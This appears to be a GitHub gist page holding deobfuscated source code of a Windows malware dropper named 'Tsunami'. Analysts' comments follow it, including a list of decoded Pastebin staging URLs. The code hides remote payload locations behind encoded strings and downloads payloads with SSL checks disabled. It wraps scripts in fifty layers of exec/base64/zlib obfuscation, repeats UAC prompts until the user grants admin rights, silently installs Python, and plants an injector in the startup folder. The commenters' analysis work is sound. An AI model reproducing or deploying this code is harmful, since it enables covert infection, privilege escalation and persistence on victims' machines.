        "6f4b747d2c270811320b240b11210677636d7e5145137753401d19163d3d3354233f271c34696359534d635542134d3103433a000a333f11113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
        "6f4b60792f383e0032563c0f1604385a5b05014d40766b127b1d54163f3d151d23093b050f037f0553134d6f4366773d03421c341c563b11173e575b75580551784c7711427a27073c0068530d5437590a765e08",
        "6e6568312e3726000932341e2c3f0a5d5a5b6611407673547b102344222f6855200d16110d5c005e524c77764212733d382745093232285717045775750665574376184b6d255400291406550d55331e224801035312631145664675",
        "6f7564322c433e1534222815205a02486362055140666f49751e59413d2d3b1f0d5523020f696b426a77634f434c4d3d002708130a303f11113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
        "6f4b707b2c281c49313d24111704027f6307055145661810741e59413d13331f0b300d1a3766554c6a7973497576773200273e000a3d0621395a3b475b62094b6d4c145178253740134b1612221e4d5f0d027b055466461c",
        "6c5b463f2f27451131325b0f1602024b58077e5745676f476c1c38413d140210343027190a5c55705266674b40797338021b3d0f34365713175b23445b585c487b79735b781020063c03201f0d2f27590f700408",
        "6e75467c2f38324831575711212e0a44586d6a57424f6355721e59413e2d15570c204c1f0d797359544c4d6c45696f2405383e11020c5756395b5f47604c055440766b4d45002f18133a681321093b1e0a796b5a",
        "6c5b747b2c283e1233082854170257475d727655431073476f1c24443e4a1e1c343f271c0f6600646a667753424c67192d43250f3232570d39045b4160586611421367566d315946134a12550a201254",
        "6c5b683f2f431c1134570609143c064b63625c547879635543782f163d133b562020270537030c5951796b4d4269490e3b4245093408020b2c5b3862750665574376184b6d255400291406550d55331e224801035312631145664675",
        "6c5b6c302f383e150a222808205a2048636d7a1045666f497b263705292c6103200d2c112176550553134d5840646f323b271c000932020c143120585d637d5745721855437a2c0512143c0c343f2713376978437c5b515b4269737800314d44",
        "6c5b6c7c2c1d3612313d2411172c345d5b727a497b766f51450f583f28031d1d2333270534037f5952664d6f424c7726031d360034232311113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
        "6f65603f2f42451531222057143c1a5a5a587657784c7758437a2f242803011f200d2f1a3469735d536963634212733d3b27414933082810243a57007507015778581454401f2b1c14311e0d0d244d1f215f77425469734e",
        "6c7574792f27450f32575b1e2f313c5c686d7e5443134d11420f5041134a1e27361d1e5921655d5e6a796f5b7b796b3f043526030957021e112e387f750665574376184b6d255400291406550d55331e224801035312631145664675",
        "6c5b46302c1d41033132160f170457415d72766e434c1851450f271b112e280d380b4d5923757c4d55796b10784c7379344322090a0838122f3c27475d66095543136c5443250d192a21021f373f341f224b494f5369731140601c75",
        "6c4b683f2f272600093d0a0c1604287860625c4b7b796357422423163d130157230a33590f664143646614514566773b0338263a1c563b11173e575b75580551784c7711427a27073c0068530d5437590a765e08",
        "6c5b647d2f43220c0a325f08165b02425a72015778136f637b7a54002a3e060f343f3f38364b78057d75491142697731021d493d34225b0b17312c4158737d5745721855437a2c0512143c0c343f2713376978437c5b515b4269737800314d44",
        "6c4b687b2f1d08113322020d143e5b006d6d7a4d4379775b43255834280337562023275c0a76554c52134911457467323b271c0033082823395a3b475b62094b6d4c145178253740134b1612221e4d5f0d027b055466461c",
        "6f4b70322c432209093d0a56265b164260627a54407763476f0c06403e171e100c55195937696f4669797b6742126b3e0242450f33232311113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
        "6f4b4a782f37260c32570610172e165d6807664f78766b58781d05163e3d1d5720551d030f660c0464796f4d436659380537453b1c563b11173e575b75580551784c7711427a27073c0068530d5437590a765e08",
        "6c65787d2f2822483308020b24043c5d5d585c587b7473476e0c24073f311e550c0a231d346973455479674d744f6f2400273e0c0932200f230057007507015778581454401f2b1c14311e0d0d244d1f215f77425469734e",
        "6f75647c2c283a15330b381d2c3e38486f72055740797349450f0d03112e1a0d0f20233a364b684d7d75675b424c777d3827082833560a1116040664750665574376184b6d255400291406550d55331e224801035312631145664675",
        "6c656c302e27450f313d3c0f112124475a7d7e5478796b747b0f54412a140636361d301e21655d47691367114564673205383e4c32222812243a57007507015778581454401f2b1c14311e0d0d244d1f215f77425469734e",
        "6c4b687b2f1d140c313d02142f3f244863627e107b661858740e59423e2d1d540b300d1a37660c43517973547b79733d3228220c0a3202572c312c446a6609106d13105778315405112e1a090a2f3b010d7201437f4f6f5645697327",
        "6c756c7d2e2726030a323808245b5b47586d6251424f73107524590a3f3d33570d5419010a037f056a74454d424c4d2702383211051c5756395b5f47604c055440766b4d45002f18133a681321093b1e0a796b5a",
        "6f7560782e37140c313d021e2c3f3442606d7a4d784c4d6c793238413d131a100c55191c0f6608436266775242664d31373349481c575f112c105b4458627a4d45696f49420b59063f171e120a2f2706",
        "6e6560302f383209312d201e17580a436007764844766752740e59443d3d095634303b010c5f7304624f6f10424f77200242261606265756395b5f47604c055440766b4d45002f18133a681321093b1e0a796b5a",
        "6e75787d2f281c13093d240b112e027c5a07665143696356701e59453e2d1d570d55401f0f69774f6a766f5443116f7d0337081132080220395a3b475b62094b6d4c145178253740134b1612221e4d5f0d027b055466461c",
        "6e6574792c433e0034325712175906595b62764878765963793234423d3d3c0a0a2f231f0d0341466a746b587b79733d05274913320e3b11113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
        "6c5b42792f3718133308280b165b065b5a58764d74126f4d7b0f0d0a2a2c1a03231d201121660c435179734978134d233b2541150a575b56172f2f475d66095543136c5443250d192a21021f373f341f224b494f5369731140601c75",
        "6f75787b2f37140c31320215205b1a48606201157b7459476e0c2c0a3e3e3c16343033100d01555f5179734b78796b3f03433a0931202311113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
        "6c7570782c281c0a3222280b2f2c024b63625c114076141045002b0613311235361d3458234b5d405212735b457618013b283a1134573824395a3b475b62094b6d4c145178253740134b1612221e4d5f0d027b055466461c",
        "6f654a302e37260a0908281e113e0a4163580557701373497b102b1f263f6855202312110b66415951134d52434d77230027081134085b2d395a3b475b62094b6d4c145178253740134b1612221e4d5f0d027b055466461c",
        "6e7568302f431c13320838172c5b025c635e665b4266184e427911163d130954212f3b100c030c43626614574079733103423a3b1c563b11173e575b75580551784c7711427a27073c0068530d5437590a765e08",
        "6e6542302c433e000a32160c2f2e576463726654424c676779320a093d03161c0c5427010d5c6f5b51796b4c7b776b3b38273e0933225732395a3b475b62094b6d4c145178253740134b1612221e4d5f0d027b055466461c",
        "6c4b46302e37450f313d3c122f313c5d6c5b7e4a424c1812441f373c280315572023271c0c03550569137758424c180c02433a15312d3c11213a57007507015778581454401f2b1c14311e0d0d244d1f215f77425469734e",
        "6c7578792c42140c31322017172e576063726611781367114325583428033754231d3b130d5c6f5b524c6772434c18380537361231321611165b5b47684c09106d13105778315405112e1a090a2f3b010d7201437f4f6f5645697327",
        "6e6574322e3722150a56240f142c20015872545143664d12770e59403d2d01570d55230737664d4051745954451318230537454832552311113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
        "6f65467b2f2736090a223810175b165b5c627e5473796b4d43002f4513143821361d205a2175634f6a764d1140746f7d05371c0c34325f13175923475d66095543136c5443250d192a21021f373f341f224b494f5369731140601c75",
        "6f65747d2f283e0a09322017173e385e6807584940796b49751e59083e03191f0d54231f0c5c6f5b5176735472796f78021d490e33562411112e577f750665574376184b6d255400291406550d55331e224801035312631145664675",
        "6f5b427c2c1e3e150a325b172c313c5d6b72624d43696355781e2f163f2d331d230a111c0f6641465174554d454c4d783842264932562436395a3b475b62094b6d4c145178253740134b1612221e4d5f0d027b055466461c",
        "6c7574322e27450f33575f171602204b5a58665478767752707959443d2d015134300d03376973456476734d7b66592400261b0f34365713175b23445b585c487b79735b781020063c03201f0d2f27590f700408",
        "6c6564302f2722030908380b1602345f5b5809527b746b476c2202453d21020f343f3f1934766f66521314517b696b20031e3a15010c5756395b5f47604c055440766b4d45002f18133a681321093b1e0a796b5a",
        "6c75603f2e283e4931325f1e2f3f2c5d637276587b13594d702459073d2d151d0c09111f0a767f405176496540765579041e262d1c563b11173e575b75580551784c7711427a27073c0068530d5437590a765e08",
        "6e7546322f37450f313d3c0f10040245586d62567513734d787a27072548685423233c110a76005b534c18667b13143800423e0934232311113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
        "6f6578322e38224809563c1e175b06656307055178126b4d401e23163d3d375620543b590c5c6f5b61796b4d4366592402433a1534575736395a3b475b62094b6d4c145178253740134b1612221e4d5f0d027b055466461c",
        "6c5b747b2e27140c31320657103e5b735b62764e78796b69793220423d2d02100c5519593766410452764d117413732402433e15330b3c33395a3b475b62094b6d4c145178253740134b1612221e4d5f0d027b055466461c",
        "6e65687d2e3722153422200b1404386263070551406973497b102b3328033750231d3f1c34696b4f5174591445664d3b00273a093356200b2c5b2073750665574376184b6d255400291406550d55331e224801035312631145664675",
        "6f6560302c1d08113322570d165b02466b6d5c4b78761058781f092128031956201d3b030f660c5d54664d74421377263827411102265756395b5f47604c055440766b4d45002f18133a681321093b1e0a796b5a",
        "6f4b4a302f1d0815343d280b205b3c446062484a434f77577b26051c2415681d2323205a34696345534f6b6378761020031d36281c563b11173e575b75580551784c7711427a27073c0068530d5437590a765e08",
        "6f5b68782c433e150956241127043801586d7a127b776b476f1c20093e171e550c0a231d34665d4069796b5870796f2400383e09061c5756395b5f47604c055440766b4d45002f18133a681321093b1e0a796b5a",
        "6e6564792f1e1c0a0a575b17165b285d5a587e54727618117b102b1c113f0203231d1e1021796b5f6a767b4c70796f7902433a15060c5756395b5f47604c055440766b4d45002f18133a681321093b1e0a796b5a",
        "6c7564782e283e173208021e112f204b5b72091142134d70793206083e03020d0f3040010a76554c5476676f7b66773c021d49140a332711113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
        "6e75707b2c433e0c313d200f24043c5d5d72761140765951787a273728033757200d19050c5f6f5c51796b74421273203b27183d1c563b11173e575b75580551784c7711427a27073c0068530d5437590a765e08",
        "6f756c7a2e38220c0a325f57170402475a7d72637b765948781f1509292e61093b0b4d5a21757c4f6a1314517b13453e03353a0c325702572c3e3848684c09106d13105778315405112e1a090a2f3b010d7201437f4f6f5645697327",
        "6f5b603f2f381c000932020c143120585d637e4e7b127757422509252803091c200d230234664d4c6974104f434c4d2303423e0c02365756395b5f47604c055440766b4d45002f18133a681321093b1e0a796b5a",
        "6c4b60302e27221531321610162138656362484943767766793220443e2d1e09375540050d5c6f58524c18654213143e00283e030a3d2410102c3b475d66095543136c5443250d192a21021f373f341f224b494f5369731140601c75",
        "6e7568312f283e0d335702122c3e065b6360011178127758450e2f163d030554202f19040f696b4f6a7773144369633c00263d0f34365713175b23445b585c487b79735b781020063c03201f0d2f27590f700408",
        "6f6574312f433e150a5728152c5b28605c62484d454c186c79322c403f2d06090c203f010c5c004551696f49734f6f3100273616011c5756395b5f47604c055440766b4d45002f18133a681321093b1e0a796b5a",
        "6c4b74302f3745153408021e272e5b59586d625b78766b4d747959423e3d091c0a20400534760c595366774a434a4d7d051d490f330e0d11113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
        "6f4b423f2e283e1532220a09113124016c077e51424f734d751e59423d1333540d0a230234767f46614c7752784c6723031e26140a332711113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
        "6e7560312f1d4511312d3c0f2104385b5b58664b407459476c0c38073e1416110f2f27133f667745534f734d43761824330949481c575f112c105b4458627a4d45696f49420b59063f171e120a2f2706",
        "6f5b6c312e37260a33225f17205b5f005b7d5c5b707719106c223440113e1e1f0a2f23053c796b406a76735178136f0a2d43250f3232570d39045b4160586611421367566d315946134a12550a201254",
        "6f5b4a792f1e3e0f3132161e2f3c245f5b585c134076455b407a5418113f02032033301e2179775969134d13424c771c02421c0a09320223395a3b475b62094b6d4c145178253740134b1612221e4d5f0d027b055466461c",
        "6f65607b2c27140c3132061d143c345a636d624b7b767b4c701e59403e2d3b1c0d5523130d037f4661126f587b7973320027450904365756395b5f47604c055440766b4d45002f18133a681321093b1e0a796b5a",
        "6e75427a2e28320932220208202e5b5d5d7d7a497b126b4d7b0f540023486857231d385b34660843534c49657b7614380338320909562017272a57007507015778581454401f2b1c14311e0d0d244d1f215f77425469734e",
        "6c756c302f1e1c0009321610173e38056b6d5c4b434c6756451f2f1a244868502333125b0d76555a53131457407973200337262a0a22381e113120596360005745721855437a2c0512143c0c343f2713376978437c5b515b4269737800314d44",
        "6c5b747b2c1d22153208570c170428586862625843137b4d422537392803095620331d130d5c6f5e6a767766424c77263b4326100a303f11113a57455b077d54434c4d487b10330a29211113221d05130d796b0551601c1c",
        "6c5b6c322c433e490a320a0c2c3c0a5d5a07764d43667772793228423e1316093755331a0c767f6d524c185b40796b192d43250f3232570d39045b4160586611421367566d315946134a12550a201254",
        "6c75747a2c1e2203313d2408245a2c47587d7e53424c1879793220403d133c0e0c204c1c0d5a7f4f54667754787659192d43250f3232570d39045b4160586611421367566d315946134a12550a201254",
        "6f656c3f2f431c0a3222281e11313c425d607e54431251514225583928031d50233323130a760c59527614587b797b3e33431c120a325b122f3c1d475d66095543136c5443250d192a21021f373f341f224b494f5369731140601c75",
        "6f5b687a2c1d450f313d3c0f14313c476307666e43666754437a0d40133c690321231211205c6b596a126b494366140e033736480a22281e271057007507015778581454401f2b1c14311e0d0d244d1f215f77425469734e",
        "6f4b467b2f2822160a56381116050a445d0709117b764558437a373828031d12200d2f1334665505524c6758424c67103b273e0c093202142f3f27475d66095543136c5443250d192a21021f373f341f224b494f5369731140601c75",
        "6f5b78312c1e1c1332083857165b024b5b5809654566675542255837280315502123230234660c595169734f434c773105363e1534222814165b5b595a59615745721855437a2c0512143c0c343f2713376978437c5b515b4269737800314d44",
        "6f4b4a7b2f27410a325720142c3c5f5f5b585c5b43126356757959093f3d331f0b300d1a37696f4f51777b5b7b796b79053736000a3d2c132f3f3f475d66095543136c5443250d192a21021f373f341f224b494f5369731140601c75",
        "6c75707a2c4236493256200b17045b416d6205574079734b7b10331c223f681d202324580a76634353126b51707673240537451532222832395a3b475b62094b6d4c145178253740134b1612221e4d5f0d027b055466461c",
        "6e656c3f2c1d260a090802572c5b38425b7209657b7973494226330a121469113432270f206574057e796f11434c773d0343320d3255201d2f2e5b5d5a59615745721855437a2c0512143c0c343f2713376978437c5b515b4269737800314d44",
        "6e756c782f383e150a57281d165b387f5b587655424c7769793234433d0302500c20195b37666f7c69761457444c4d31302349481c575f112c105b4458627a4d45696f49420b59063f171e120a2f2706"
    ]

    # URL Extraction stuff (pastebin is annoying and does not provide the links
    # with a user name to prevent this sort of stuff, this is a work around)

    # Extensive documentation on this process has been included on my YouTube channel: https://www.youtube.com/watch?v=QB7ACr7pUuE

    def download_pastebin_document(url: str) -> str:
        req = urllib.request.Request(
            url,
            headers = {"User-Agent": "Mozilla/5.0"}
        )

        # SSL off

        context = ssl.create_default_context()
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE

        with urllib.request.urlopen(req, context=context) as res:
            return res.read().decode("utf-8")

    def extract_url(document: str, link_text: str) -> list:
        pattern = r'<a\s+(?:[^>]*?\s+)?href="([^"]+)"[^>]*>' + re.escape(link_text) + r'</a>'
        match = re.search(pattern, document)

        if match:
            href = match.group(1)
            return "https://pastebin.com/raw" + href
        else:
            return None

    # Randomize the URLs

    random.shuffle(URLS)

    # Try each URL. URLs may have non-404 errors, so rescan the list of URLs

    urls_404 = []

    while True:
        for url in URLS:
            try:
                # Ignore 404

                if url in urls_404:
                    continue

                # Decode the url pair

                pair = decode(url)

                # Extract the profile URL and filename

                profile_url = pair.split("_")[0]
                filename = pair.split("_")[1]

                # Download the document HTML and extract the URL

                document = download_pastebin_document(profile_url)
                url = extract_url(document, filename)

                # :(
                if url == None:
                    continue

                # SSL off

                context = ssl.create_default_context()
                context.check_hostname = False
                context.verify_mode = ssl.CERT_NONE

                # Download the contents of the file

                req = urllib.request.Request(
                    url,
                    headers = {"User-Agent": "Mozilla/5.0"}
                )

                with urllib.request.urlopen(req, context=context) as res:
                    return decode(res.read().decode("utf-8").strip())
            except Exception as e:
                # Failure, try the next URL in 5 seconds

                output(f"Failure, waiting... ({e})")

                if "404" in str(e):
                    urls_404.append(url)

                    time.sleep(2)
                else:
                    # pastebin sometimes returns 503 ???

                    time.sleep(10)

    # Not found

    return ""

##### Tsunami Injector #####

def download_installer() -> None:
    # Ensure the Tsunami Installer folder exists

    if not os.path.exists(TSUNAMI_INSTALLER_FOLDER):
        os.makedirs(TSUNAMI_INSTALLER_FOLDER, exist_ok = True)

    # Create the temporary file to download to

    download_tempfile = tempfile.NamedTemporaryFile(delete = False).name

    # Get the installer URL

    installer_url = download_installer_url()

    # Download the file from the URL to the temporary download file (SSL off)

    ssl._create_default_https_context = ssl._create_unverified_context

    urllib.request.urlretrieve(installer_url, download_tempfile)

    # Decode the file and save it to the installer path

    with open(download_tempfile, "rb") as f:
        data = f.read()

    decoded = gzip.decompress(data[::-1])

    with open(TSUNAMI_INSTALLER_PATH, "wb") as f:
        f.write(decoded)

    # Delete the temp file

    try:
        os.remove(download_tempfile)
    except:
        pass

def extract_payload() -> None:
    # Extract the payload to its temp file

    with open(TSUNAMI_PAYLOAD_PATH, "w") as f:
        f.write(obfuscate_script(TSUNAMI_PAYLOAD_SCRIPT, 50))

def execute_payload_with_uac() -> bool:
    # Get the filepath of the pythonw.exe

    py_exe = sys.executable
    py_exe = py_exe.replace("python.exe", "pythonw.exe")

    # Execute the payload with UAC

    result = ctypes.windll.shell32.ShellExecuteW(
        None,
        "runas",
        py_exe,
        f'"{TSUNAMI_PAYLOAD_PATH}"',
        None,
        1
    )

    # Return true if it worked, false if it failed

    if result <= 32:
        return False
    else:
        return True
        #hel p me

##### Application Entry #####

if __name__ == "__main__":
    # Check if the Tsunami Installer task is scheduled

    if is_task_scheduled(TSUNAMI_INSTALLER_NAME):
        # Task is scheduled, check if the Tsunami Installer payload is installed

        if not os.path.exists(TSUNAMI_INSTALLER_PATH):
            # Task is scheduled but the Tsunami Installer is not installed yet, download and extract it
            
            output("[+] Task is scheduled but the Tsunami Installer was not found. Downloading and extracting...")
        
            # Download the Tsunami Installer

            download_installer()
        else:
            # Task is scheduled and the Tsunami Installer is installed, there is nothing to do but exit

            output("[+] Task is scheduled and the Tsunami Installer is installed. Exiting...")
    else:
        # Task is not scheduled

        output("[+] Task is not yet scheduled, attempting to execute the Tsunami Payload")

        # Extract the Tsunami Payload

        extract_payload()

        # Execute the Tsunami Payload

        while True:
            # Sleep for 10 to 30 seconds

            time.sleep(random.uniform(10, 30))

            # Execute the Tsunami Payload

            if execute_payload_with_uac():
                # User gave administrator to the Tsunami Payload

                output("[+] User accepted UAC prompt for administrator. The Tsunami Payload executed successfully")

                # Nothing more to do, exit the execution loop

                break
            else:
                # User rejected administrator for the Tsunami Payload, try again

                output("[-] User rejected UAC prompt for administrator. Retrying shortly...")

    # Keep the window open in debug mode for analysis

    if DEBUG_MODE:
        input()
                              """

    ##### Obfuscator #####

    zlb = lambda in_ : zlib.compress(in_)
    b64 = lambda in_ : base64.b64encode(in_)

    def obfuscate_script(data: str, loop_count: int) -> str:
        # Change the value of the random variable to ensure different obfuscation strings each time

        data = data.replace("RandVar = '?'", f"RandVar = '{random.randint(100000, 10000000)}'")

        # Setup obfuscation

        xx = "b64(zlb(data.encode('utf8')))[::-1]"
        prefix = "_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));"

        # Perform obfuscation

        for i in range(loop_count):
            try:
                data = "exec((_)(%s))" % repr(eval(xx))
            except TypeError as s:
                sys.exit(" TypeError : " + str(s))

        # Build the complete output

        output = ""

        output += "\n"
        output += prefix
        output += data
        output += "\n"

        # Return the output

        return output

    ##### Utils #####

    def output(text: str) -> None:
        if DEBUG_MODE:
            print(text)

    def download_file(url: str, file_path: str):
        try:
            powershell_script = f"""
            $url = "{url}"
            $filePath = "{file_path}"
            Invoke-WebRequest -Uri $url -OutFile $filePath
                                """

            subprocess.run(
                ["powershell", "-Command", powershell_script],
                check = True,
                creationflags = subprocess.CREATE_NO_WINDOW,
            )

            output(f"File downloaded successfully to: {file_path}")
        except subprocess.CalledProcessError as e:
            output(f"Error downloading file with PowerShell: {e}")

    ##### Tsunami Infecter #####

    def is_python_installed() -> bool:
        try:
            # Check if the platform is Windows
            if platform.system() == "Windows":
                # Check HKEY_LOCAL_MACHINE
                key = r"SOFTWARE\Python\PythonCore"
                try:
                    with winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, key) as reg_key:
                        # Get the subkeys (versions) under PythonCore
                        subkeys_count = winreg.QueryInfoKey(reg_key)[0]
                        if subkeys_count > 0:
                            # Get the latest Python version
                            latest_version = max([float(winreg.EnumKey(reg_key, i)) for i in range(subkeys_count)])
                            output(f"Python {latest_version} is installed.")
                            return True
                except FileNotFoundError:
                    pass  # Ignore if the key is not found in HKEY_LOCAL_MACHINE

                # Check HKEY_CURRENT_USER
                key = r"SOFTWARE\Python\PythonCore"
                try:
                    with winreg.OpenKey(winreg.HKEY_CURRENT_USER, key) as reg_key:
                        # Get the subkeys (versions) under PythonCore
                        subkeys_count = winreg.QueryInfoKey(reg_key)[0]
                        if subkeys_count > 0:
                            # Get the latest Python version
                            latest_version = max([float(winreg.EnumKey(reg_key, i)) for i in range(subkeys_count)])
                            output(f"Python {latest_version} is installed.")
                            return True
                except FileNotFoundError:
                    pass  # Ignore if the key is not found in HKEY_CURRENT_USER

                output("Python is not installed.")
                return False
            else:
                output("This function is designed for Windows systems.")
                return False
        except Exception as e:
            output(f"Error: {e}")
            return False

    def execute_python_with_uac(py_installer_path: str) -> bool:
        result = ctypes.windll.shell32.ShellExecuteW(
            None,
            "runas",
            py_installer_path,
            "/quiet InstallAllUsers=1 PrependPath=1 Include_test=0",
            None,
            0
        )

        # Return true if it worked, false if it failed

        if result <= 32:
            return False
        else:
            return True

    def install_python() -> None:
        # Create a temporary download path for the Python installer

        py_installer_path = tempfile.NamedTemporaryFile(delete = False).name + ".exe"

        # Download the Python installer to the path

        download_file(PYTHON_INSTALLER_URL, py_installer_path)

        # Execute the Python installer to run silently with a UAC prompt

        while True:
            # Sleep for 10 to 30 seconds

            time.sleep(random.uniform(10, 30))

            # Attempt to execute the Python Installer as administrator with UAC

            if execute_python_with_uac(py_installer_path):
                # Successfully executed

                output("[+] The Python installer ran successfully, Python is being installed to the system")

                # Python installer run successfully, nothing left to do but exit

                break
            else:
                # User rejected UAC

                output("[-] User rejected UAC for Python, retrying...")

    ##### Application Entry #####

    if __name__ == "__main__":
        # Check if Python is not installed to the system

        if not is_python_installed():
            # Python is not installed

            output("[+] Python is not installed, downloading the installer...")

            # Install Python

            install_python()
        else:
            # Python is already installed

            output("[+] Python is already installed")

        # Write the Tsunami Injector to the startup folder if it does not already exist

        with open(TSUNAMI_INJECTOR_PATH, "w") as f:
            f.write(obfuscate_script(TSUNAMI_INJECTOR_SCRIPT, loop_count = 50))

        output("[+] Wrote the Tsunami Injector to the startup folder")
        
        # Keep the window open in debug mode for analysis

        if DEBUG_MODE:
            input()
except:
    # :(
    pass

@Alchemyst0x

Copy link
Copy Markdown

@AdityaMitra5102 good work 🫡 beat me to it! That last obfuscated chunk is certainly much more interesting than the others - those "URLs" are rather strange to see in the middle of all of that mess. I think the Rick Roll is a nice touch though, actually, LOL. I mean, I always feel like it's a game between threat actors and threat hunters, so it's kind of hilarious when stuff like that pops up. I retract my previous statements about this seeming like juvenile threat activity, this is much more fleshed out than I expected.

Do you mind if I ask, what is your preferred environment for handling these kinds of tasks (Remnux, random VPS, ...localhost?) By the way there are a bunch of other sites associated with this one, I listed a few in my gist linked above, if you're interested to go poking around them.

@AdityaMitra5102

Copy link
Copy Markdown

@Alchemyst0x I don't have any preferred environment as such. For this, I just deobfuscafed it live on my pc, without any sandboxing, just careful enough not to execute anything. Tbh, here I didn't need a sandboxing since the code is directly visible once you are able to see it. And the code is very readable. The style of the comments made it seem that the code is AI generated.

Also what I feel is that the last chunk is written by a different threat actor. It uses a completely different writing style than the other files.

@AdityaMitra5102

Copy link
Copy Markdown

Also if you think about it well, the part where this js file is stealing the wallets is probably just an ambush to hide the other parts of the code. I mean come on, a malware using just some freely available obfuscation tool but then the same malware having in-depth payloads chainloading other payloads don't really sound sane. Unless the first one is an ambush.

Now you can say the python files and the js files are probably different malwares from different authors, just combined together. But i dont think so. Coz all of them use the same URL structure for the endpoints (except the last one, which i would say is from a different author). Also some parts of the code looks like it's chatGPT generated. The multiline comments just under the function name is a giveaway.

@AdityaMitra5102

Copy link
Copy Markdown

Tried decoding the Pastebin links, if anyone wants to see them, but I could not find anything in there

on 0: https://pastebin.com/u/FileplanetPhilosophy7264_LegendAccidental6833
on 1: https://pastebin.com/u/OccupiedColombia9504_AssessOutdoors1323
on 2: https://pastebin.com/u/SucceedMarilyn6486_CompoundsPrelude4368
on 3: https://pastebin.com/u/ProspectsCritical3346_NeededBrakes8631
on 4: https://pastebin.com/u/BaltimoreCleaners2627_AnxiousInstallations5959
on 5: https://pastebin.com/u/DevelopmentDecades9851_PoorestNeighbor5451
on 6: https://pastebin.com/u/ScatteringImproves6699_ConclusionsAdvises3801
on 7: https://pastebin.com/u/SharonMotherboard1812_PointerDifficulties2538
on 8: https://pastebin.com/u/ChromeManifold2741_BecomeOverweight8819
on 9: https://pastebin.com/u/ShallowWriters5742_ElisabethButter4269
on 10: https://pastebin.com/u/ManualsConcerts6546_SecureConfess4940
on 11: https://pastebin.com/u/EntrepreneurshipSchool3991_WorkshopCommander6965
on 12: https://pastebin.com/u/LithuaniaDevils3044_EcosystemArchitect1460
on 13: https://pastebin.com/u/LabelsInstructions6605_CollegeManson4589
on 14: https://pastebin.com/u/AccommodationsShaped3206_UnderageAppointment2987
on 15: https://pastebin.com/u/AssureEcological3668_DynamicsSettings8837
on 16: https://pastebin.com/u/VacanciesMccormick1278_NegotiationsStephen7222
on 17: https://pastebin.com/u/TheodoreIllnesses8645_StrandedBanana1783
on 18: https://pastebin.com/u/AnonymousWidely2018_PrivacyOutsourcing1493
on 19: https://pastebin.com/u/TelephonyButter2209_AlexanderPagerank3799
on 20: https://pastebin.com/u/ObsceneAnalog3584_MarriageRafting1731
on 21: https://pastebin.com/u/DirectionLacrosse3890_StaffingThreats1982
on 22: https://pastebin.com/u/DressingHardback5776_WallpapersPosing3914
on 23: https://pastebin.com/u/RecognisedSubscriber4815_ParticleProductive3803
on 24: https://pastebin.com/u/GraduatesJoanne3182_AttorneyIncreasingly4317
on 25: https://pastebin.com/u/SongwriterHeroin1906_EleanorNotably2197
on 26: https://pastebin.com/u/MemorabiliaPolice8855_RealtyProteins5108
on 27: https://pastebin.com/u/BlockedSuperior2582_ImpartialCreampie6349
on 28: https://pastebin.com/u/BrandyAppropriations3388_TrackingInvestigation4040
on 29: https://pastebin.com/u/InterfaceSurprising7895_DemonstrateOutput7080
on 30: https://pastebin.com/u/InterviewSeminar7712_CheltenhamLiterally8980
on 31: https://pastebin.com/u/CalgaryGenerator9187_InternallyCellphone3248
on 32: https://pastebin.com/u/CottagesDisclaimer4260_MsgstrGrandfather5452
on 33: https://pastebin.com/u/AuditoryPossessions5962_SeriousReferences1174
on 34: https://pastebin.com/u/DatatypeRefined5290_RememberedParcel1200
on 35: https://pastebin.com/u/MediterraneanMariana3184_AllianceAlternatives4953
on 36: https://pastebin.com/u/SynthaseConscious4894_EmployeesManufacturer6612
on 37: https://pastebin.com/u/TeamworkHebrews1776_LargerCategory2186
on 38: https://pastebin.com/u/AppointmentsFixture5149_DealershipLawyer6157
on 39: https://pastebin.com/u/ReasonableParticulate1646_BinariesPerforming3568
on 40: https://pastebin.com/u/ExcessiveAuditing2799_FrequenciesStands6650
on 41: https://pastebin.com/u/WorkgroupEpisode9870_InspiringPortion4503
on 42: https://pastebin.com/u/VariantsHundred3569_ImportsTheories8069
on 43: https://pastebin.com/u/SchemesForced5215_CarrollTakeover4331
on 44: https://pastebin.com/u/BulletAvatars9376_BossesChicken3163
on 45: https://pastebin.com/u/CloudyEmoticons6414_ChicagoCommunist9168
on 46: https://pastebin.com/u/JenningsSeizures9139_CollectionNeutron3895
on 47: https://pastebin.com/u/ThorntonOpengl2422_SharonAlternative9670
on 48: https://pastebin.com/u/LengthyHardcover8498_DreamsAlgorithms2051
on 49: https://pastebin.com/u/RepairsIndigenous9606_TaggingEngraved1108
on 50: https://pastebin.com/u/VocabularyShowers7805_PrincipleNeeding6072
on 51: https://pastebin.com/u/EngravedCollins4625_ComplexAntivirus4882
on 52: https://pastebin.com/u/InsulationEmoticons6617_FrozenMutants5675
on 53: https://pastebin.com/u/MinimizeBaseball9396_GibraltarVersus8408
on 54: https://pastebin.com/u/ExperimentsRemoved4967_JerseysExactly1548
on 55: https://pastebin.com/u/HamletPetition1455_DeclineFestival3670
on 56: https://pastebin.com/u/AntibioticPermission3364_InnovationsVillage8323
on 57: https://pastebin.com/u/LeonardoCompute7447_ReligionTeaspoon7365
on 58: https://pastebin.com/u/FirmwareCemetery3626_NvidiaAttained1955
on 59: https://pastebin.com/u/AccommodateCritical4086_SuggestReasons4599
on 60: https://pastebin.com/u/LearningVerlag6165_AdministeredFolding5233
on 61: https://pastebin.com/u/StyledHitler9893_CommonsIntent9645
on 62: https://pastebin.com/u/PenetrationProcedure5629_MoldingAccess5837
on 63: https://pastebin.com/u/OfficialGarmin1708_IndividuallyPicture8057
on 64: https://pastebin.com/u/ClauseComedies9306_HandjobsCovers4836
on 65: https://pastebin.com/u/PersonnelStadium5409_InsiderStretch7977
on 66: https://pastebin.com/u/CommunalPossessed4442_SensorsCivilization7908
on 67: https://pastebin.com/u/SymposiumAbbott9739_VolunteerEntirely5464
on 68: https://pastebin.com/u/LeavesMessenger6968_AuctionsTechnique4938
